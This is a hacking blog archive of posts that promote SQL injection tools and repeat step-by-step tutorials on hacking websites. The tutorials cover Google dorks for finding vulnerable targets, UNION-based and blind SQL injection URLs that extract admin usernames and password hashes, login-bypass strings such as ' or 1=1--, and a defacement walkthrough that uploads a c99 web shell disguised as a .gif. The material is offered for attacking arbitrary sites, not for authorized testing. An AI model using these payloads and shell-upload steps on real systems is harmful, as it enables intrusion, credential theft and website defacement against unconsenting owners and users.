This tool helps hackers/pentesters to create sql syntax. Its also help in waf bypass sql injection method. you can see the tool in the above snapshot.
Download it from here
Rabu, 14 Maret 2012
Maxsqli syntax maker tool 02.50
Selasa, 06 Maret 2012
Sql Poizon ~ Sqli Exploit Scanner Tool 05.41
Sql Poizon tool includes php , asp , rfi , lfi dorks and using this tools you can find vulnerable sites like sql vulnerable sites and you can also find vulnerable sites by country and you can hack sql vulnerable sites using Sql Poizon tool and you can also browse the sites using this tool.
You can see above snapshot how it will find the sql vulnerable sites.
You can download Sql Poizon here
Rabu, 22 Februari 2012
Advance sql injection video tutorial download 08.25
Sql injection is the most conman webapplication vulnerability. and here I am sharing the advance sql injection vide tutorial. You can download before this post I have shared the basic sql injection now here I am sharing the video tutorial of the advanced sql injection.
You can download video tutorial here.
Senin, 06 Februari 2012
SQL INJECTION (From start to Defacement) 14.37
Here I am going to tech you how to hack website using sql injection. Follow the steps
FINDING THE TARGET AND GETTING THE ADMIN PASSWORD.
First we should find our target website for that you can use this DORKS.
I am mostly using “ inurl:php?id= ”and giving you some dorks here copy any one and paste it in google and search. click here for more dorks.
Check for vulnerability.
well assume that we have one site like this
http://www.site.com/news.php?id=5
Now to test if its valuable we need to add ‘ (quote)after the end of url.
and that will be http://www.site.com/news.php?id=5’
after that hit Enter and if you got some error or if you found some missing content or missing pictures that means its vulnerable to sql injection.
Find the number of columns.
To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2)(
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s.
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )
we know that table admin exists. now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc. now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1. now we must complete query to look nice for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser. if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%200,1/*
note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%201,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%202,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc. To get the column names the method is the same. Here we use column_name and information_schema.columns
the method is same as above so example would be.
http://www.site.com/news.php?id=5union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%200,1/*
the first column is diplayed. the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%201,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc. if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_name=%27users%27/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email.
now to complete query to put them all together for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,concat%28user,0x3a,pass,0x3a,email%29%20from%20users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
DEFACING THE WEBSITE
After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.
Now find the upload option and upload your shell (if you don’t have shell then click here to download)
some sites wont allow you to upload a php file. so rename it as c99.php.gif then upload it.
after that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir) find the c99.php.gif and click it now you can see a big control pannel.
now you can do what ever you want to do.
search for the index.html file and replace it with your own deface page. so if any one goes to that site they will see your page.
And you have did !! hope this tutorials helped you a little.
Happy hacking ![]()
Senin, 09 Januari 2012
Blind Cat: A Blind SQL Injection Exploitation Tool 03.28
Jumat, 02 Desember 2011
The Mole – Automatic SQL Injection SQLi Exploitation Tool 03.09
The Nole is an automatic SQL injection exploitation tool. YOou just need to provide SQL vulnerable LINK and valid string on the shitty site and it can detect the injection and it will exploit it using union technique or a boolean query based technique. You can hack any sql vulnerable website using this tool.
- Support for injections using Mysql, SQL Server, Postgres and Oracle databases.
- Command line interface. Different commands trigger different actions.
- Developed in python 3.
- Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily.
- Auto-completion for commands, command arguments and database, table and columns names.
If you want to know how to use this tool then click here
Rabu, 23 November 2011
sqlsus 0.7.1 Released – MySQL Injection & Takeover Tool 05.37
- Added time-based blind injection support (added option “blind_sleep”, and renamed “string_to_match” to “blind_string”).
- It is now possible to force sqlsus to exit when it’s hanging (i.e.: retrieving data), by hitting Ctrl-C more than twice.
- Rewrite of “autoconf max_sendable”, so that sqlsus will properly detect which length restriction applies. (removed option “max_sendable”, added options “max_url_length” and “max_inj_length”)
- Uploading a file now sends it into chunks under the length restriction.
- sqlsus now saves variables after each command, so that forcing it to quit (or killing it) will not discard the changes that were made.
- Added a progress bar to inband mode, sqlsus now determines the number of rows to be returned prior to fetching them.
- get db (tables/columns) in inband mode now uses multithreading (like everything else).
- clone now uses count(*) if available (set by “get count” / “get db”), instead of using fetch-ahead.
- sqlsus now prints what configuration options are overridden (when a saved value differs from the configuration file).
sqlsus-0.7.1.tgz
Selasa, 15 November 2011
Hack website using SQL INJECTION 23.49
What is SQL Injection ?
Its most common web application venerability. Its allows attacker to execute SQL queries so website got hacked.
There are tow types of sql injection
1.SQL Injection
2.Blind SQL Injection
So lets start
1.Check for vulnerability
Most famous google dork is "inurl:php?id="
Let’s say that we have some site like this
http://www.site.com/journal.php?id=6
Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/journal.php?id=6′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
that means is vulrnable to sql injection
2 Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
Now we need to Increase the number until we get an error like above.
http://www.site.com/journal.php?id=6 order by 1/* <– no error
http://www.site.com/journal.php?id=6 order by 2/* <– no error
http://www.site.com/journal.php?id=6 order by 3/* <– no error
http://www.site.com/journal.php?id=6 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3.Check for UNION function (for finding most venerable number )
http://www.site.com/journal.php?id=6 union all select 1,2,3/*
If you havnt got the number then try adding "-" sign. after id= then url will be become like
http://www.site.com/journal.php?id=-6 union all select 1,2,3/*
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works
4 Check for MySQL version
http://www.site.com/journal.php?id=6 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/journal.php?id=6 union all select 1,@@version,3/*
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/journal.php?id=6 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/journal.php?id=6 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version
5. Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
i.e would be
http://www.site.com/journal.php?id=6 union all select 1,2,3 from admin/*
we know that table admin exists.
now to check column names.
http://www.site.com/journal.php?id=6 union all select 1,username,3 from admin/* (we get username displayed on screen, example would be admin, or superadmin etc.
now to check if column password exists
http://www.site.com/journal.php?id=6 union all select 1,password,3 from admin/*
we seen password on the screen in hash or plain-text, it depends of how the database is set up
i.e md5 hash, mysql hash, sha1
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(username,0×3a,password),3 from admin/*
Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/journal.php?id=6 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,password),3 from mysql.user/*
6 MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one
ie.
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
Now find the Admin panel and login as ADMIN :D
Learn More....
Kamis, 10 November 2011
Safe3 SQL Injector – Automatic Detection & Exploitation Of SQL Injection Flaws 00.17
Features
- Full support for GET/Post/Cookie Injection
- Full support for HTTP Basic, Digest, NTLM and Certificate authentications
- Full support for MySql Oracle, PostgreSQL, MSSQL, ACESS, DB2, Sybase & Sqlite
- Full support for Error/Union/Blind/Force SQL injection
- Support for file access, command execute, IP Domain reverse, web path guess, md5 crack etc.
- Super bypass WAF
You can download Safe3 SQL Injector here:
Safe3SI.6.2.rar
Selasa, 08 November 2011
Sqlninja 0.2.6 is now available to download 04.51
Here’s what it does:
- Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
- Bruteforce of 'sa' password (in 2 flavors: dictionary-based and incremental)
- Privilege escalation to sysadmin group if 'sa' password has been found
- Creation of a custom xp_cmdshell if the original one has been removed
- Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
- TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
- Direct and reverse bindshell, both TCP and UDP
- ICMP-tunneled shell, when no TCP/UDP ports are available for a direct/reverse shell but the DB can ping your box
- DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works)
- Evasion techniques to confuse a few IDS/IPS/WAF
- Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
- Integration with churrasco.exe, to escalate privileges to SYSTEM on w2k3 via token kidnapping
- Support for CVE-2010-0232, to escalate the privileges of sqlservr.exe to SYSTEM
Minggu, 30 Oktober 2011
Hack website using blind sql ijection 11.01
Let's start with advanced stuff.
http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc.
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend.
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally.
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR.
Hack website using Sql Injection 10.54
It's one of the most common vulnerability in web applications. It allows attacker to execute database query in url and gain access to some Information.
1). Check for vulnerability
Let's say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url '
and that would be http://www.site.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar
that means is vulrnable to sql injection .
2). Find the number of columns
To find number of columns we use statement ORDER BY
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it .
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before)
we know that table admin exists...
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc...
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1...
now we must complete query to look nice :)
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can't guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc.
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
\now to complete query to put them all together :D
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
Hope you have learned Sql injection from this post.
Rabu, 20 Juli 2011
How to hack website using sql injection 08.57
Some basic requirements for sql injection:
1) you need a web browser to open URL and to view source codes.
2) you need notepad++.
3) and very basic queries of sql like insert , select , update , delete etc.
First of all you can hack those website using SQL injection hacks that allows some input fields from the visitor which can provide input to website like log in page , search page, feedback page etc.
Now a days , HTML pages use POST command to send parameter to another ASP/ASPX page.
Therefore, you may not see the parameter in the URL. You can check the source code of the HTML, and look for "FROM" tag in the HTML code. You may find something like this in some HTML codes:
<F O R M action=login.aspx method=post>
<I N P UT type=hidden name=user v a l u e=xyz>
< / F O R M>
Everything between the < F O R M > and < / F O R M > parameters(remove space in words) contains the crucial information and can help us to determine things in more detailed way.
http://example.com/login.asp?id=10
http://example.com/login.asp?id=hi' or 1=1--
< i n p u t type=hidden name=abc value="hi' or 1=1--">
< / F O R M >

Take an asp page that will link you to another page with the following URL:
http://example.com/search.asp?category=sports
Here this request fires following query on the database in background.
SELECT * FROM TABLE-NAME WHERE category='sports'
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.
Now, assume that we change the URL into something like this:
http://example.com/search.asp?category=sports' or 1=1--
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='



